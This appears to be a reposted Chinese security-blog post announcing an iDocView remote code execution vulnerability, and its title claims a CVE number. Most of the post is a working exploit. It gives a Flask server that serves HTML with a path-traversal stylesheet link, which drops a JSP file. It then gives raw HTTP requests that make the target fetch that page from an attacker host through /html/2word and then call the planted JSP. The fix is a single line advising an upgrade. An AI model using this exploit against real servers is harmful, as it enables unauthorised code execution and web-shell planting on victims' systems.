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现在只对常读和星标的公众号才展示大图推送,建议大家把阿无安全“设为星标”,否则可能看不到了!
0x01 前言
0x02 漏洞影响
影响版本
iDocView
< 13
.10
.1_20231115
0x03 漏洞利用
登录界面
直接利用网上已公布的脚本进行复现
from
flask
import
Flask
app = Flask(__name__)
def
index
()
:
return
"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>title</title>
<link rel="stylesheet" href="..\..\..\docview\aaaa.jsp">
</head>
<body>
</body>
</html>"""
def
jsp
()
:
return
'''<%
out.print("123");
%>'''
if
__name__ ==
'__main__'
:
app.run(host=
"0.0.0.0"
, port=
39999
)
EXP:
GET
/html/2word?url=http://10.0.85.2:39999/index.html
HTTP/1.1
Host
: 127.0.0.1:7070
Cache-Control
: max-age=0
Sec-Ch-Ua
: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile
: ?0
Sec-Ch-Ua-Platform
: "Windows"
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site
: none
Sec-Fetch-Mode
: navigate
Sec-Fetch-User
: ?1
Sec-Fetch-Dest
: document
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
Connection
: close
success!
GET
/aaaa.jsp
HTTP/1.1
Host
: 127.0.0.1:7070
Cache-Control
: max-age=0
Sec-Ch-Ua
: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile
: ?0
Sec-Ch-Ua-Platform
: "Windows"
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site
: none
Sec-Fetch-Mode
: navigate
Sec-Fetch-User
: ?1
Sec-Fetch-Dest
: document
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
Connection
: close
0x04 修复方案
请升级最新版本。
原文始发于微信公众号(渗透Xiao白帽):0day | CVE-2023-23743 RCE漏洞(附EXP)
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